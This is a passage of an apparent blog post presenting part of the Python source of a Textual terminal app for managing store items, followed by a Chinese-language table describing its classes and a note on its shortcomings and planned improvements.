Binding(key=\u0026#39;t\u0026#39;, action=\u0026#34;credits\u0026#34;, description=\u0026#34;Credits\u0026#34;, key_display=\u0026#39;T\u0026#39;, show=False), 391 Binding(key=\u0026#39;A\u0026#39;, action=\u0026#34;new_item\u0026#34;, show=False), 392 Binding(key=\u0026#39;S\u0026#39;, action=\u0026#34;save_data\u0026#34;, show=False), 393 Binding(key=\u0026#39;V\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, show=False), 394 Binding(key=\u0026#39;C\u0026#39;, action=\u0026#34;change_password\u0026#34;, show=False), 395 Binding(key=\u0026#39;L\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, show=False), 396 Binding(key=\u0026#39;T\u0026#39;, action=\u0026#34;credits\u0026#34;, show=False), 397 ] 398 399 cursors = cycle([\u0026#34;cell\u0026#34;, \u0026#34;row\u0026#34;, \u0026#34;column\u0026#34;]) 400 current_sorts = set() 401 402 def __init__(self, data): 403 super().__init__() 404 self.rows = data 405 406 def on_mount(self) -\u0026gt; None: 407 table = self.query_one(DataTable) 408 for col in self.rows[0]: 409 table.add_column(col, key=col) 410 table.add_rows(self.rows[1:]) 411 table.zebra_stripes = True 412 413 def compose(self): 414 yield Header(show_clock=True) 415 yield Footer() 416 with Container(): 417 yield DataTable() 418 419 def sort_reverse(self, sort_type): 420 reverse = sort_type in self.current_sorts 421 if reverse: 422 self.current_sorts.remove(sort_type) 423 else: 424 self.current_sorts.add(sort_type) 425 return reverse 426 427 def action_sort_by_name(self): 428 table = self.query_one(DataTable) 429 table.sort( 430 \u0026#34;Name\u0026#34;, 431 key=lambda name: name, 432 reverse=self.sort_reverse(\u0026#34;Name\u0026#34;) 433 ) 434 435 def action_sort_by_unit_price(self): 436 table = self.query_one(DataTable) 437 table.sort( 438 \u0026#34;Unit Price\u0026#34;, 439 key=lambda unit_price: float(unit_price), 440 reverse=self.sort_reverse(\u0026#34;Unit Price\u0026#34;) 441 ) 442 443 def action_sort_by_quantity(self): 444 table = self.query_one(DataTable) 445 table.sort( 446 \u0026#34;Quantity\u0026#34;, 447 key=lambda qty: int(qty), 448 reverse=self.sort_reverse(\u0026#34;Quantity\u0026#34;) 449 ) 450 451 def action_sort_by_section(self): 452 table = self.query_one(DataTable) 453 table.sort( 454 \u0026#34;Section\u0026#34;, 455 key=lambda section: section, 456 reverse=self.sort_reverse(\u0026#34;Section\u0026#34;) 457 ) 458 459 def action_sort_by_id(self): 460 table = self.query_one(DataTable) 461 table.sort( 462 \u0026#34;ID\u0026#34;, 463 key=lambda id_num: id_num, 464 reverse=self.sort_reverse(\u0026#34;ID\u0026#34;) 465 ) 466 467 def action_quit(self): 468 self.dismiss() 469 470 def key_space(self): 471 table = self.query_one(DataTable) 472 table.cursor_type = next(self.cursors) 473 474 475class LogScreen(Screen): 476 477 DEFAULT_CSS = \u0026#34;\u0026#34;\u0026#34; 478 LogScreen { 479 align: center middle; 480 } 481 482 LogScreen \u0026gt; Container { 483 width: 90%; 484 height: 90%; 485 } 486 487 LogScreen \u0026gt; Container \u0026gt; Button { 488 dock: bottom; 489 } 490 \u0026#34;\u0026#34;\u0026#34; 491 492 TITLE = \u0026#34;Item Management App\u0026#34; 493 SUB_TITLE = \u0026#34;View Log File\u0026#34; 494 BINDINGS = [ 495 Binding(key=\u0026#39;a\u0026#39;, action=\u0026#34;new_item\u0026#34;, description=\u0026#34;New\u0026#34;, key_display=\u0026#39;A\u0026#39;, show=False), 496 Binding(key=\u0026#39;s\u0026#39;, action=\u0026#34;save_data\u0026#34;, description=\u0026#34;Save\u0026#34;, key_display=\u0026#39;S\u0026#39;, show=False), 497 Binding(key=\u0026#39;v\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, description=\u0026#34;Data Table View\u0026#34;, key_display=\u0026#39;V\u0026#39;, show=False), 498 Binding(key=\u0026#39;c\u0026#39;, action=\u0026#34;change_password\u0026#34;, description=\u0026#34;Change Password\u0026#34;, key_display=\u0026#39;C\u0026#39;, show=False), 499 Binding(key=\u0026#39;l\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, description=\u0026#34;Read Log File\u0026#34;, key_display=\u0026#39;L\u0026#39;, show=False), 500 Binding(key=\u0026#39;t\u0026#39;, action=\u0026#34;credits\u0026#34;, description=\u0026#34;Credits\u0026#34;, key_display=\u0026#39;T\u0026#39;, show=False), 501 Binding(key=\u0026#39;A\u0026#39;, action=\u0026#34;new_item\u0026#34;, show=False), 502 Binding(key=\u0026#39;S\u0026#39;, action=\u0026#34;save_data\u0026#34;, show=False), 503 Binding(key=\u0026#39;V\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, show=False), 504 Binding(key=\u0026#39;C\u0026#39;, action=\u0026#34;change_password\u0026#34;, show=False), 505 Binding(key=\u0026#39;L\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, show=False), 506 Binding(key=\u0026#39;T\u0026#39;, action=\u0026#34;credits\u0026#34;, show=False), 507 Binding(key=\u0026#39;q\u0026#39;, action=\u0026#34;quit\u0026#34;, description=\u0026#34;Quit\u0026#34;, key_display=\u0026#39;Q\u0026#39;), 508 Binding(key=\u0026#39;Q\u0026#39;, action=\u0026#34;quit\u0026#34;, show=False) 509 ] 510 511 def on_mount(self): 512 with open(\u0026#34;IMA.log\u0026#34;, \u0026#39;r\u0026#39;, newline=\u0026#34;\u0026#34;) as log_file: 513 log = log_file.read() 514 log_richlog = self.query_one(RichLog) 515 log_richlog.write(log) 516 517 def compose(self): 518 yield Footer() 519 yield Header(show_clock=True) 520 with Container(): 521 yield RichLog() 522 523 def action_quit(self): 524 self.dismiss() 525 526 527class CreditsScreen(Screen): 528 529 DEFAULT_CSS = \u0026#34;\u0026#34;\u0026#34; 530 CreditsScreen { 531 align: center middle; 532 } 533 534 CreditsScreen \u0026gt; Center { 535 width: 90%; 536 height: 90%; 537 } 538 539 CreditsScreen \u0026gt; Center \u0026gt; Label { 540 align: center middle; 541 } 542 \u0026#34;\u0026#34;\u0026#34; 543 544 TITLE = \u0026#34;Item Management App\u0026#34; 545 SUB_TITLE = \u0026#34;Credits\u0026#34; 546 BINDINGS = [ 547 Binding(key=\u0026#39;a\u0026#39;, action=\u0026#34;new_item\u0026#34;, description=\u0026#34;New\u0026#34;, key_display=\u0026#39;A\u0026#39;, show=False), 548 Binding(key=\u0026#39;s\u0026#39;, action=\u0026#34;save_data\u0026#34;, description=\u0026#34;Save\u0026#34;, key_display=\u0026#39;S\u0026#39;, show=False), 549 Binding(key=\u0026#39;v\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, description=\u0026#34;Data Table View\u0026#34;, key_display=\u0026#39;V\u0026#39;, show=False), 550 Binding(key=\u0026#39;c\u0026#39;, action=\u0026#34;change_password\u0026#34;, description=\u0026#34;Change Password\u0026#34;, key_display=\u0026#39;C\u0026#39;, show=False), 551 Binding(key=\u0026#39;l\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, description=\u0026#34;Read Log File\u0026#34;, key_display=\u0026#39;L\u0026#39;, show=False), 552 Binding(key=\u0026#39;t\u0026#39;, action=\u0026#34;credits\u0026#34;, description=\u0026#34;Credits\u0026#34;, key_display=\u0026#39;T\u0026#39;, show=False), 553 Binding(key=\u0026#39;A\u0026#39;, action=\u0026#34;new_item\u0026#34;, show=False), 554 Binding(key=\u0026#39;S\u0026#39;, action=\u0026#34;save_data\u0026#34;, show=False), 555 Binding(key=\u0026#39;V\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, show=False), 556 Binding(key=\u0026#39;C\u0026#39;, action=\u0026#34;change_password\u0026#34;, show=False), 557 Binding(key=\u0026#39;L\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, show=False), 558 Binding(key=\u0026#39;T\u0026#39;, action=\u0026#34;credits\u0026#34;, show=False), 559 Binding(key=\u0026#39;q\u0026#39;, action=\u0026#34;quit\u0026#34;, description=\u0026#34;Quit\u0026#34;, key_display=\u0026#39;Q\u0026#39;), 560 Binding(key=\u0026#39;Q\u0026#39;, action=\u0026#34;quit\u0026#34;, show=False) 561 ] 562 563 banner = r\u0026#34;\u0026#34;\u0026#34; 564 ___ _ __ __ _ _ 565|_ _| |_ ___ _ __ ___ | \\/ | __ _ _ __ __ _ __ _ ___ _ __ ___ ___ _ __ | |_ / \\ _ __ _ __ 566 | || __/ _ \\ \u0026#39;_ ` _ \\ | |\\/| |/ _` | \u0026#39;_ \\ / _` |/ _` |/ _ \\ \u0026#39;_ ` _ \\ / _ \\ \u0026#39;_ \\| __| / _ \\ | \u0026#39;_ \\| \u0026#39;_ \\ 567 | || || __/ | | | | | | | | | (_| | | | | (_| | (_| | __/ | | | | | __/ | | | |_ / ___ \\| |_) | |_) | 568|___|\\__\\___|_| |_| |_| |_| |_|\\__,_|_| |_|\\__,_|\\__, |\\___|_| |_| |_|\\___|_| |_|\\__| /_/ \\_\\ .__/| .__/ 569 |___/ |_| |_| 570 571 572 573 574 _ _ _ _____ _ _ ___ ____ ____ 575 / \\ | | | |_ _| | | |/ _ \\| _ \\/ ___| _ 576 / _ \\| | | | | | | |_| | | | | |_) \\___ \\ (_) 577 / ___ \\ |_| | | | | _ | |_| | _ \u0026lt; ___) | _ 578/_/ \\_\\___/ |_| |_| |_|\\___/|_| \\_\\____/ (_) 579 580 581 _ _ ______ 582 | | (_) |__ / |__ ___ _ __ __ _ _ _ __ _ ___ 583 | | | | / /| \u0026#39;_ \\ / _ \\| \u0026#39;_ \\ / _` | | | |/ _` |/ _ \\ 584 | |___| | / /_| | | | (_) | | | | (_| | |_| | (_| | (_) | 585 |_____|_| /____|_| |_|\\___/|_| |_|\\__, |\\__, |\\__,_|\\___/ 586 |___/ |___/ 587 588 589 _ _ __ __ _ 590 | | (_) \\ \\ / /__ _ __ ___| |__ ___ 591 | | | | \\ \\ /\\ / / _ \\ \u0026#39;_ \\|_ / \u0026#39;_ \\ / _ \\ 592 | |___| | \\ V V / __/ | | |/ /| | | | __/ 593 |_____|_| \\_/\\_/ \\___|_| |_/___|_| |_|\\___| 594 595 596 _ _ _ _ _ 597 | | (_) | | | | __ _ ___ __| | ___ _ __ __ _ 598 | | | | | |_| |/ _` |/ _ \\ / _` |/ _ \\| \u0026#39;_ \\ / _` | 599 | |___| | | _ | (_| | (_) | (_| | (_) | | | | (_| | 600 |_____|_| |_| |_|\\__,_|\\___/ \\__,_|\\___/|_| |_|\\__, | 601 |___/ 602 \u0026#34;\u0026#34;\u0026#34; 603 604 def compose(self): 605 yield Header(show_clock=True) 606 yield Footer() 607 with Center(): 608 yield Label(self.banner) 609 610 def action_quit(self): 611 self.dismiss() 612 613 614class SourceCodeScreen(Screen): 615 616 DEFAULT_CSS = \u0026#34;\u0026#34;\u0026#34; 617 SourceCodeScreen { 618 align: center middle; 619 } 620 621 SourceCodeScreen \u0026gt; Container { 622 align: center middle; 623 height: auto; 624 width: 100%; 625 } 626 627 SourceCodeScreen \u0026gt; Container \u0026gt; RichLog { 628 width: auto; 629 } 630 \u0026#34;\u0026#34;\u0026#34; 631 632 BINDINGS = [ 633 Binding(key=\u0026#39;a\u0026#39;, action=\u0026#34;new_item\u0026#34;, description=\u0026#34;New\u0026#34;, key_display=\u0026#39;A\u0026#39;, show=False), 634 Binding(key=\u0026#39;s\u0026#39;, action=\u0026#34;save_data\u0026#34;, description=\u0026#34;Save\u0026#34;, key_display=\u0026#39;S\u0026#39;, show=False), 635 Binding(key=\u0026#39;v\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, description=\u0026#34;Data Table View\u0026#34;, key_display=\u0026#39;V\u0026#39;, show=False), 636 Binding(key=\u0026#39;c\u0026#39;, action=\u0026#34;change_password\u0026#34;, description=\u0026#34;Change Password\u0026#34;, key_display=\u0026#39;C\u0026#39;, show=False), 637 Binding(key=\u0026#39;l\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, description=\u0026#34;Read Log File\u0026#34;, key_display=\u0026#39;L\u0026#39;, show=False), 638 Binding(key=\u0026#39;t\u0026#39;, action=\u0026#34;credits\u0026#34;, description=\u0026#34;Credits\u0026#34;, key_display=\u0026#39;T\u0026#39;, show=False), 639 Binding(key=\u0026#39;A\u0026#39;, action=\u0026#34;new_item\u0026#34;, show=False), 640 Binding(key=\u0026#39;S\u0026#39;, action=\u0026#34;save_data\u0026#34;, show=False), 641 Binding(key=\u0026#39;V\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, show=False), 642 Binding(key=\u0026#39;C\u0026#39;, action=\u0026#34;change_password\u0026#34;, show=False), 643 Binding(key=\u0026#39;L\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, show=False), 644 Binding(key=\u0026#39;T\u0026#39;, action=\u0026#34;credits\u0026#34;, show=False), 645 Binding(key=\u0026#39;q\u0026#39;, action=\u0026#34;quit\u0026#34;, description=\u0026#34;Quit\u0026#34;, key_display=\u0026#39;Q\u0026#39;), 646 Binding(key=\u0026#39;Q\u0026#39;, action=\u0026#34;quit\u0026#34;, show=False) 647 ] 648 649 def __init__(self, file_size): 650 super().__init__() 651 self.file_size = file_size 652 653 def on_mount(self): 654 with open(\u0026#34;ItemManagementApp.py\u0026#34;, \u0026#39;r\u0026#39;, newline=\u0026#34;\u0026#34;) as code_file: 655 code = code_file.read() 656 code_richlog = self.query_one(RichLog) 657 code_richlog.write(Syntax(code, \u0026#34;python\u0026#34;, indent_guides=True, code_width=160, line_numbers=True), scroll_end=True) 658 659 def compose(self): 660 yield Header(show_clock=True) 661 yield Footer() 662 with Container(): 663 yield RichLog(highlight=True, markup=True) 664 yield Label(f\u0026#34;Total {self.file_size} KiB.\u0026#34;) 665 666 def action_quit(self): 667 self.dismiss() 668 669 670class GDNModalScreen(ModalScreen): 671 672 DEFAULT_CSS = \u0026#34;\u0026#34;\u0026#34; 673 GDNModalScreen { 674 align: center middle; 675 } 676 677 GDNModalScreen \u0026gt; Container { 678 border: thick $background; 679 background: $boost; 680 width: 25%; 681 height: 25%; 682 } 683 684 GDNModalScreen \u0026gt; Container \u0026gt; Label { 685 margin: 1 686 } 687 688 GDNModalScreen \u0026gt; Container \u0026gt; #url { 689 background: pink; 690 } 691 692 GDNModalScreen \u0026gt; Container \u0026gt; Button { 693 width: 100%; 694 height: auto; 695 dock: bottom; 696 margin: 1; 697 } 698 \u0026#34;\u0026#34;\u0026#34; 699 700 def compose(self): 701 with Container(): 702 yield Label(\u0026#34;Please visit my blog at\u0026#34;) 703 yield Label(\u0026#34;https://jackgdn.github.io\u0026#34;, id=\u0026#34;url\u0026#34;) 704 yield Button(\u0026#34;OK!\u0026#34;, variant=\u0026#34;success\u0026#34;) 705 706 def on_button_pressed(self): 707 self.dismiss() 708 709 710class ItemWidget(Widget): 711 712 DEFAULT_CSS = \u0026#34;\u0026#34;\u0026#34; 713 ItemWidget { 714 align: center middle; 715 height: 3; 716 margin: 1; 717 } 718 \u0026#34;\u0026#34;\u0026#34; 719 720 name = reactive(\u0026#34;\u0026#34;) 721 unit_price = reactive(\u0026#34;\u0026#34;) 722 quantity = reactive(\u0026#34;\u0026#34;) 723 section = reactive(\u0026#34;\u0026#34;) 724 id_number = reactive(\u0026#34;\u0026#34;) 725 726 class Edit(Message): 727 def __init__(self, item): 728 super().__init__() 729 self.item = item 730 731 class Delete(Message): 732 def __init__(self, item): 733 super().__init__() 734 self.item = item 735 736 def __init__(self): 737 super().__init__() 738 self.name_label = Label(id=\u0026#34;name\u0026#34;) 739 self.unit_price_label = Label(id=\u0026#34;unit_price\u0026#34;) 740 self.quantity_label = Label(id=\u0026#34;quantity\u0026#34;) 741 self.section_label = Label(id=\u0026#34;section\u0026#34;) 742 self.id_number_label = Label(id=\u0026#34;ID\u0026#34;) 743 744 def compose(self): 745 with Horizontal(): 746 yield Button(\u0026#34;Edit\u0026#34;, id=\u0026#34;edit\u0026#34;, variant=\u0026#34;success\u0026#34;) 747 yield Label(\u0026#34; \u0026#34;) 748 yield Button(\u0026#34;Delete\u0026#34;, id=\u0026#34;delete\u0026#34;, variant=\u0026#34;error\u0026#34;) 749 yield Label(\u0026#34; \u0026#34;) 750 with Container(): 751 yield Label(Text(\u0026#34;Name: \u0026#34;, style=\u0026#34;italic\u0026#34;)) 752 yield self.name_label 753 with Container(): 754 yield Label(Text(\u0026#34;Unit Price: \u0026#34;, style=\u0026#34;italic\u0026#34;)) 755 yield self.unit_price_label 756 with Container(): 757 yield Label(Text(\u0026#34;Qty.: \u0026#34;, style=\u0026#34;italic\u0026#34;)) 758 yield self.quantity_label 759 with Container(): 760 yield Label(Text(\u0026#34;Section: \u0026#34;, style=\u0026#34;italic\u0026#34;)) 761 yield self.section_label 762 with Container(): 763 yield Label(Text(\u0026#34;ID: \u0026#34;, style=\u0026#34;italic\u0026#34;)) 764 yield self.id_number_label 765 766 def watch_name(self, name): 767 self.name_label.update(name) 768 769 def watch_unit_price(self, unit_price): 770 self.unit_price_label.update(unit_price) 771 772 def watch_quantity(self, quantity): 773 self.quantity_label.update(quantity) 774 775 def watch_section(self, section): 776 try: 777 self.section_label.update(section) 778 779 except Exception: 780 self.post_message(self.Delete(self)) 781 782 def watch_id_number(self, id_number): 783 self.id_number_label.update(id_number) 784 785 @on(Button.Pressed, \u0026#34;#edit\u0026#34;) 786 def edit_request(self): 787 self.post_message(self.Edit(self)) 788 789 @on(Button.Pressed, \u0026#34;#delete\u0026#34;) 790 def delete_request(self): 791 self.post_message(self.Delete(self)) 792 793 794class CommandProvider(Provider): 795 796 async def search(self, query): 797 app = self.app 798 commands = { 799 \u0026#34;Save Data\u0026#34;: (\u0026#34;Save data NOW in case you forget to do so.\u0026#34;, app.action_save_data), 800 \u0026#34;Change Password\u0026#34;: (\u0026#34;Change your password as you want.\u0026#34;, app.action_change_password), 801 \u0026#34;Toggle Light/Dark Mode\u0026#34;: (\u0026#34;Your eyes are valuable.\u0026#34;, app.action_toggle_light_dark_mode), 802 \u0026#34;Exit Program\u0026#34;: (\u0026#34;Say goodbye to IMA.\u0026#34;, app.exit), 803 \u0026#34;View Source Code\u0026#34;: (\u0026#34;Incredible!\u0026#34;, app.view_source_code), 804 \u0026#34;Visit Author\u0026#39;s Blog\u0026#34;: (\u0026#34;Welcome to visit author\u0026#39;s blog @ https://jackgdn.github.io\u0026#34;, app.visit_my_blog) 805 } 806 807 matcher = self.matcher(query) 808 for command in list(commands.keys()): 809 score = matcher.match(command) 810 if score \u0026gt; 0: 811 yield Hit( 812 score, 813 matcher.highlight(command), 814 commands[command][1], 815 help=commands[command][0] 816 ) 817 818 819class ExceptionAppCommandProvider(Provider): 820 821 async def search(self, query): 822 app = self.app 823 commands = { 824 \u0026#34;Toggle Light/Dark Mode\u0026#34;: (\u0026#34;Your eyes are valuable.\u0026#34;, app.action_toggle_light_dark_mode), 825 \u0026#34;Exit Program\u0026#34;: (\u0026#34;Say goodbye to IMA.\u0026#34;, app.exit), 826 \u0026#34;View Source Code\u0026#34;: (\u0026#34;Incredible!\u0026#34;, app.view_source_code), 827 \u0026#34;Visit Author\u0026#39;s Blog\u0026#34;: (\u0026#34;Welcome to visit author\u0026#39;s blog @ https://jackgdn.github.io\u0026#34;, app.visit_my_blog) 828 } 829 830 matcher = self.matcher(query) 831 for command in list(commands.keys()): 832 score = matcher.match(command) 833 if score \u0026gt; 0: 834 yield Hit( 835 score, 836 matcher.highlight(command), 837 commands[command][1], 838 help=commands[command][0] 839 ) 840 841 842class ItemApp(App): 843 844 COMMANDS = {CommandProvider} 845 BINDINGS = [ 846 Binding(key=\u0026#39;a\u0026#39;, action=\u0026#34;new_item\u0026#34;, description=\u0026#34;New\u0026#34;, key_display=\u0026#39;A\u0026#39;), 847 Binding(key=\u0026#39;s\u0026#39;, action=\u0026#34;save_data\u0026#34;, description=\u0026#34;Save\u0026#34;, key_display=\u0026#39;S\u0026#39;), 848 Binding(key=\u0026#39;v\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, description=\u0026#34;Data Table View\u0026#34;, key_display=\u0026#39;V\u0026#39;), 849 Binding(key=\u0026#39;c\u0026#39;, action=\u0026#34;change_password\u0026#34;, description=\u0026#34;Change Password\u0026#34;, key_display=\u0026#39;C\u0026#39;), 850 Binding(key=\u0026#39;l\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, description=\u0026#34;Read Log File\u0026#34;, key_display=\u0026#39;L\u0026#39;), 851 Binding(key=\u0026#39;d\u0026#39;, action=\u0026#34;toggle_light_dark_mode\u0026#34;, description=\u0026#34;Light/Dark Mode\u0026#34;, key_display=\u0026#39;D\u0026#39;), 852 Binding(key=\u0026#39;t\u0026#39;, action=\u0026#34;credits\u0026#34;, description=\u0026#34;Credits\u0026#34;, key_display=\u0026#39;T\u0026#39;), 853 Binding(key=\u0026#39;A\u0026#39;, action=\u0026#34;new_item\u0026#34;, show=False), 854 Binding(key=\u0026#39;S\u0026#39;, action=\u0026#34;save_data\u0026#34;, show=False), 855 Binding(key=\u0026#39;V\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, show=False), 856 Binding(key=\u0026#39;C\u0026#39;, action=\u0026#34;change_password\u0026#34;, show=False), 857 Binding(key=\u0026#39;L\u0026#39;, action=\u0026#34;read_log_file\u0026#34;, show=False), 858 Binding(key=\u0026#39;D\u0026#39;, action=\u0026#34;toggle_light_dark_mode\u0026#34;, show=False), 859 Binding(key=\u0026#39;T\u0026#39;, action=\u0026#34;credits\u0026#34;, show=False), 860 Binding(key=\u0026#34;CTRL+C\u0026#34;, action=\u0026#34;exit_program\u0026#34;, description=\u0026#34;Exit\u0026#34;, key_display=\u0026#34;^C\u0026#34;) 861 ] 862 863 @work 864 async def on_mount(self): 865 if getsize(\u0026#34;logininfo\u0026#34;) \u0026lt; 1: 866 if await self.push_screen_wait(LoginModalScreen(LoginStatus.FIRST_TIME_LOGIN)): 867 self.load_data() 868 else: 869 self.exit() 870 else: 871 if await self.push_screen_wait(LoginModalScreen(LoginStatus.REQUEST_LOGIN)): 872 self.load_data() 873 else: 874 self.exit() 875 876 def compose(self): 877 yield Header(show_clock=True) 878 yield Footer() 879 880 def action_new_item(self): 881 self.push_screen(ItemModalScreen(), self.new_item_callback) 882 883 def action_save_data(self): 884 data_dump = [(\u0026#34;Name\u0026#34;, \u0026#34;Unit Price\u0026#34;, \u0026#34;Quantity\u0026#34;, \u0026#34;Section\u0026#34;, \u0026#34;ID\u0026#34;)] + \\ 885 [(item.name, item.unit_price, item.quantity, item.section, item.id_number) for item in self.query(ItemWidget)] 886 try: 887 with open(\u0026#34;data.tsv\u0026#34;, \u0026#39;w\u0026#39;, newline=\u0026#34;\u0026#34;) as data: 888 writer = csv.writer(data, delimiter=\u0026#39;\\t\u0026#39;) 889 for row in data_dump: 890 writer.writerow(row) 891 self.push_screen(AlertModalScreen(\u0026#34;File saved!\u0026#34;)) 892 with open(\u0026#34;IMA.log\u0026#34;, \u0026#39;a\u0026#39;, newline=\u0026#34;\u0026#34;) as logfile: 893 logfile.write(f\u0026#34;Save data at {asctime()}\\n\u0026#34;) 894 895 except Exception: 896 self.push_screen(AlertModalScreen(\u0026#34;Failed to save data.\u0026#34;)) 897 898 @work(thread=True) 899 def load_data(self): 900 self.file_size = getsize(\u0026#34;ItemManagementApp.py\u0026#34;) 901 try: 902 data_load = [] 903 with open(\u0026#34;data.tsv\u0026#34;, \u0026#39;r\u0026#39;, newline=\u0026#34;\u0026#34;) as data: 904 reader = csv.reader(data, delimiter=\u0026#39;\\t\u0026#39;) 905 for row in reader: 906 data_load.append(row) 907 data_load = data_load[1:] 908 for name, unit_price, quantity, section, id_number in data_load: 909 item = ItemWidget() 910 item.name = name 911 item.unit_price = unit_price 912 item.quantity = quantity 913 item.section = section 914 item.id_number = id_number 915 self.call_from_thread(self.mount, item) 916 917 except Exception: 918 self.push_screen(AlertModalScreen(\u0026#34;Fialed to load data.\u0026#34;)) 919 920 def action_toggle_datatable_view(self): 921 data_dump = [(\u0026#34;Name\u0026#34;, \u0026#34;Unit Price\u0026#34;, \u0026#34;Quantity\u0026#34;, \u0026#34;Section\u0026#34;, \u0026#34;ID\u0026#34;)] + \\ 922 [(item.name, item.unit_price, item.quantity, item.section, item.id_number) for item in self.query(ItemWidget)] 923 self.push_screen(DataTableScreen(data_dump)) 924 925 def action_change_password(self): 926 self.push_screen(LoginModalScreen(LoginStatus.REQUEST_CHANGE_PASSWORD)) 927 928 def action_read_log_file(self): 929 self.push_screen(LogScreen()) 930 931 def action_credits(self): 932 self.push_screen(CreditsScreen()) 933 934 def action_toggle_light_dark_mode(self): 935 self.dark = not self.dark 936 937 def action_exit_program(self): 938 self.exit() 939 940 def new_item_callback(self, data): 941 item = ItemWidget() 942 name, unit_price, quantity, section, id_number = data 943 item.name = name 944 item.unit_price = unit_price 945 item.quantity = quantity 946 item.section = section 947 item.id_number = id_number 948 self.mount(item) 949 950 def edit_item_callback(self, item, data): 951 name, unit_price, quantity, section, id_number = data 952 item.name = name 953 item.unit_price = unit_price 954 item.quantity = quantity 955 item.section = section 956 item.id_number = id_number 957 958 def on_item_widget_edit(self, message): 959 self.push_screen(ItemModalScreen(), partial(self.edit_item_callback, message.item)) 960 961 def on_item_widget_delete(self, message): 962 message.item.remove() 963 964 def view_source_code(self): 965 self.push_screen(SourceCodeScreen(round(int(self.file_size) / 1024, 2))) 966 967 def visit_my_blog(self): 968 self.push_screen(GDNModalScreen()) 969 970 971class ExceptionApp(App): 972 973 COMMANDS = {ExceptionAppCommandProvider} 974 BINDINGS = [ 975 Binding(key=\u0026#39;d\u0026#39;, action=\u0026#34;toggle_light_dark_mode\u0026#34;, description=\u0026#34;Light/Dark Mode\u0026#34;, key_display=\u0026#39;D\u0026#39;), 976 Binding(key=\u0026#39;t\u0026#39;, action=\u0026#34;credits\u0026#34;, description=\u0026#34;Credits\u0026#34;, key_display=\u0026#34;T\u0026#34;), 977 Binding(key=\u0026#34;CTRL+C\u0026#34;, action=\u0026#34;exit_program\u0026#34;, description=\u0026#34;Exit\u0026#34;, key_display=\u0026#34;^C\u0026#34;), 978 Binding(key=\u0026#39;V\u0026#39;, action=\u0026#34;toggle_datatable_view\u0026#34;, show=False), 979 Binding(key=\u0026#39;T\u0026#39;, action=\u0026#34;credits\u0026#34;, show=False) 980 ] 981 982 def on_mount(self): 983 self.file_size = getsize(\u0026#34;ItemManagementApp.py\u0026#34;) 984 self.push_screen(AlertModalScreen(\u0026#34;Failed to load data. Please check if you have permission.\u0026#34;)) 985 986 def compose(self): 987 yield Header(show_clock=True) 988 yield Footer() 989 990 def action_toggle_light_dark_mode(self): 991 self.dark = not self.dark 992 993 def action_credits(self): 994 self.push_screen(CreditsScreen()) 995 996 def action_exit_program(self): 997 self.exit() 998 999 def view_source_code(self): 1000 self.push_screen(SourceCodeScreen(round(int(self.file_size) / 1024, 2))) 1001 1002 def visit_my_blog(self): 1003 self.push_screen(GDNModalScreen()) 1004 1005 1006def main(): 1007 try: 1008 if not exists(\u0026#34;data.tsv\u0026#34;): 1009 with open(\u0026#34;data.tsv\u0026#34;, \u0026#39;a\u0026#39;, newline=\u0026#34;\u0026#34;) as _: 1010 pass 1011 chmod(\u0026#34;data.tsv\u0026#34;, 0o600) 1012 if not exists(\u0026#34;logininfo\u0026#34;): 1013 with open(\u0026#34;logininfo\u0026#34;, \u0026#39;a\u0026#39;, newline=\u0026#34;\u0026#34;) as _: 1014 pass 1015 chmod(\u0026#34;logininfo\u0026#34;, 0o600) 1016 if not exists(\u0026#34;IMA.log\u0026#34;): 1017 with open(\u0026#34;IMA.log\u0026#34;, \u0026#39;a\u0026#39;, newline=\u0026#34;\u0026#34;) as _: 1018 pass 1019 chmod(\u0026#34;IMA.log\u0026#34;, 0o600) 1020 chmod(\u0026#34;ItemManagementApp.py\u0026#34;, 0o644) 1021 app = ItemApp() 1022 app.title = \u0026#34;Item Management App\u0026#34; 1023 app.run() 1024 1025 except Exception: 1026 app = ExceptionApp() 1027 app.title = \u0026#34;Item Management App\u0026#34; 1028 app.sub_title = \u0026#34;Encountered Errors\u0026#34; 1029 app.run() 1030 1031 1032if __name__ == \u0026#39;__main__\u0026#39;: 1033 main() 代码解读 类 功能 LoginStatus 存储登录状态以及不同登录状态下 LoginModalScreen 显示内容的常量。 AlertModalScreen 显示弹窗,接收一个参数 alert_message 存储显示的消息。 ItemModalScreen 添加或修改商品信息的界面。 LoginModalScreen 注册、登录及修改密码共同使用的界面。显示的提示信息存储在 LoginStatus 类中。 DataTableScreen 将数据以表格视图显示,可以以不同列为依据对数据排序。 LogScreen 日志界面。 CreditsScreen 作者名单。 ItemWidget 在主界面展示商品信息的组件。 CommandProvider 存储命令托盘中的命令,允许用户搜索命令。 ExceptionAppCommandProvider ExceptionApp 下的命令托盘。 ItemApp 程序的主界面,调控整个程序运行的核心。 ExceptionApp 在程序缺少文件读写权限时运行,用于提醒用户权限不足并拒绝操作。 问题及未来改进 完善功能,尤其是数据处理方面的功能。作者在学习相应内容以及编写程序时时侧重于对该 TUI 模块的运用而非对数据的处理上,因此程序只有最基本的处理数据的功能,而更复杂的数据处理功能也因为时间问题和作者自身能力问题没有被实现。 界面及代码优化。由于作者能力有限以及 Textual 模块自身的不完善,有些代码显得格外冗余(例如 Binding() 的重复使用。在作者完成代码编写时,这样重复仍然是修改不同 Screen 中 Footer 组件所对应 BINDINGS 的唯一方法),也有些功能没有实现(例如作者曾尝试在登录失败时弹出一个 AlertModalScreen 但是 ModalScreen 类中并没有 push_screen() 方法;尝试使用回调函数实现的时候,ItemApp 类的 compose 方法定义为了一个异步方法,又由于作者对多线程编程了解甚少,最终的尝试也以失败告终)。未来作者希望通过学习消除这些遗憾。 